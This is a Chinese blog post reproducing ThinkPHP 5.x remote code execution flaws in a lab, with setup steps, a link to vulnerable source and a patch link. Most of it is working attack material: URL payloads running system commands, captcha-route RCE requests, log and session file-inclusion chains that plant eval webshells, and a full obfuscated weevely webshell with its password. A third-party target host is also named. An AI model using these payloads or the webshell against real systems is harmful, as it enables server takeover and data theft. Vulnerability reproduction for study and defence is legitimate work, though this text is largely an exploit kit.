thinkphp5.x命令執行漏洞復現及環境搭建

樓主Linux環境是Centos7,LAMP怎麼搭不用我廢話吧,別看錯了php

一.thinkphp5.X系列html

1.安裝composermysql

yum -y install composer

 

安裝php拓展git

yum -y install php-mysql php-gd libjpeg* php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-bcmath php-mhash -y

 

2.切換目錄到/var/www/htmlgithub

cd /var/www/html

安裝thinkphp5web

博主把含有命令執行漏洞的thinkphp源碼連接附上sql

連接:https://pan.baidu.com/s/1MNqISFeKKT4FcJRHg2rTRw
提取碼:se0n thinkphp

把文件解壓到當前目錄(/var/www/html)便可shell

 

3.瀏覽器查看是否安裝成功瀏覽器

 

到這裏環境就搭建好了(各位看官若是照着前面的步驟沒有成功的,麻煩把php運行環境搭建起來)

4.參考官方poc直接執行payload

#payload http://192.168.2.134/tp5/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/thinkphp/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
/thinkphp/public/?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1
/thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars=dir
/thinkphp/public/?s=index/\think\app/invokefunction&function=system&return_value=&command=dir
/thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars[0]=dir&vars[1][]=
/thinkphp/public/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

 

能夠看到,這裏權限是Apache

 這裏說下,頭一天強網杯web有一題就是thinkphp5.x的命令執行漏洞,叫作強網先鋒上單。。。

當時以爲還好,隨便拉的幾個隊友,有人作出來了,我去從新作了一遍(關鍵是互相不認識,誰作的根本不知道)

一開始掃描目錄,沒發現什麼,後面留意到有日誌,都是命令執行錯誤的信息,猜到多是命令執行,一看cms是thinkphp5

因而就百度翻payload去了,一打,flag有了,flag就藏在根目錄下面,hhhhh

言歸正傳,下面嘗試寫小馬,getshell整個系統

payload附上

http://192.168.2.134/tp5/public/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20  ^%3C?php%20@eval($_GET[%22dd%22])?^%3E%3Eceshi.php

 強網的時候是能夠正常寫入的,可是沒法解析php,可能設置了權限

本地測試的時候發現,根本沒法寫入小馬,如圖,估計要先看看源碼,找找問題

 後面看了下日誌,注意到報錯,應該是語句被過濾了,小馬不夠強壯

 

 後面我用weevely從新生成了一個小馬,從新載入,連上了

webshell附上

<?php
$v='$cK^&&$i<$lK^);$j+K^+,$i++K^K^){$o.=$t{$K^i}^K^$k{$j};}}K^retK^urn $o;}if (@pK^K^reg_match("K^/$kK^h(.';
$S=str_replace('jW','','crjWjWeatejW_fjWjWunctijWon');
$t='K^zuncoK^mpress(@K^xK^(@bK^ase64_decodeK^($m[1K^]),$k)));K^ K^ $oK^=@ob_get_conteK^ntK^s();  @oK^bK^_';
$X='end_clean(K^);  $K^r=@base6K^4_encoK^de(@x(K^K^K^@gzcomK^press($o),$k));K^  priK^nt("$p$khK^$r$kf");}';
$o='+K^)$kf/K^",@fK^ile_get_conteK^ntsK^("php://inK^put")K^K^,$m) == 1) { K^ @ob_sK^taK^rt();  @eK^val(@g';
$f='$k="098K^K^f6bcd";$khK^=K^"4621d373cade";$kK^f="4K^e832627bK^4f6"K^K^;$p="sK^015KnbG8K^frqxRiQ";fK^K^u';
$w='nctiK^on x($t,$kK^){K^$c=strlen($k)K^;$K^l=K^strlen($t);$o="K^"K^;K^for($i=0;$i<$l;)K^{for($jK^=K^0;($j<';
$N=str_replace('K^','',$f.$w.$v.$o.$t.$X);
$d=$S('',$N);$d();
?>

#######
密碼test
#######

 

 下一步,想辦法提權操做,畢竟權限過低了

weevely支持不少的操做,以下圖

 

二.Thinkphp5.0.x(<5.0.24系列)RCE

payload: 

Thinkphp5.0.23
POST發包
/index.php?s=captcha 
POST: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
freebuf復現的文章缺乏method=get參數,有的沒法復現

 靶機:http://www.whalwl.cn:8031/

 

 

 提權略過

三.經過日誌方式寫入shell

環境不變(tp5.0.23)

1.假設服務器日誌目錄爲/runtime/log/201911/22.log

 

就能夠嘗試往日誌中寫,而後包含日誌,getshell

2.寫入

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

 這裏payloads隨便寫,只要有完整的可識別的php語句就能夠,報錯,看起來無事發生,回來看下日誌記錄

 

 3.日誌

 

 

 最後一行,寫入成功,最後來包含日誌

4.包含日誌(這裏必需要知道日誌的路徑)

Post方式 ?s=captcha _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/201911/22.log&x=phpinfo();

 

 5.略

四.經過session寫入shell

環境(tp5.0.23)

1.找到你靶機session保存的位置,通常在phpinfo能夠看到

 

 

 2.寫入shell,經過Cookie寫入

 

POST /tp5.0.23/public//?s=captcha HTTP/1.1
Host: 192.168.2.135 Cookie: PHPSESSID=ThisIsATestaaaaa User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.2.135/tp5.0.23/ Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 101  _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1

 

 到靶機上看,已經在靶機session目錄下生成了

 

 

 

 3.包含Session

此時session中保存的數據爲

 

 其中就包含了一句話木馬,在知道Session目錄的狀況下就能夠直接getshell

POST /tp5.0.23/public//?s=captcha HTTP/1.1
Host: 192.168.2.135 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.2.135/tp5.0.23/ Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 120 _method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_ThisIsATestaaaaa&server[]=1

 

 

 能夠看到這裏的php代碼已經被執行了,因此只顯示了雙引號前面的數據

4.下一步鏈接一句話木馬試試

POST /tp5.0.23/public//?s=captcha HTTP/1.1
Host: 192.168.2.135 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.2.135/tp5.0.23/ Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 142 _method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_ThisIsATestaaaaa&server[]=1&x=passthru('ls -la');

 

 

 5.略

6.當禁用一些函數啥都幹不了的時候,能夠嘗試glob僞協議,遍歷數據,結合文件讀取函數進行讀取文件內容

POST /tp5.0.23/public//?s=captcha HTTP/1.1
Host: 192.168.2.135 Cookie: PHPSESSID=ThisIsATestaaaaa User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.2.135/tp5.0.23/ Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 226 _method=__construct&method=get&filter[]=think\__include_file&get[]=/var/lib/php/session/sess_ThisIsATestaaaaa&server[]=1&x=$a=new%20DirectoryIterator(%22glob:///*%22);foreach($a%20as%20$f){echo($f-%3E__toString().%27%20%27);};

 

 

參考文章:

https://www.freebuf.com/vuls/194127.html

https://www.jianshu.com/p/ae48507135f3

https://www.cnblogs.com/r00tuser/p/11410157.html

修復補丁:

https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003

相關文章
相關標籤/搜索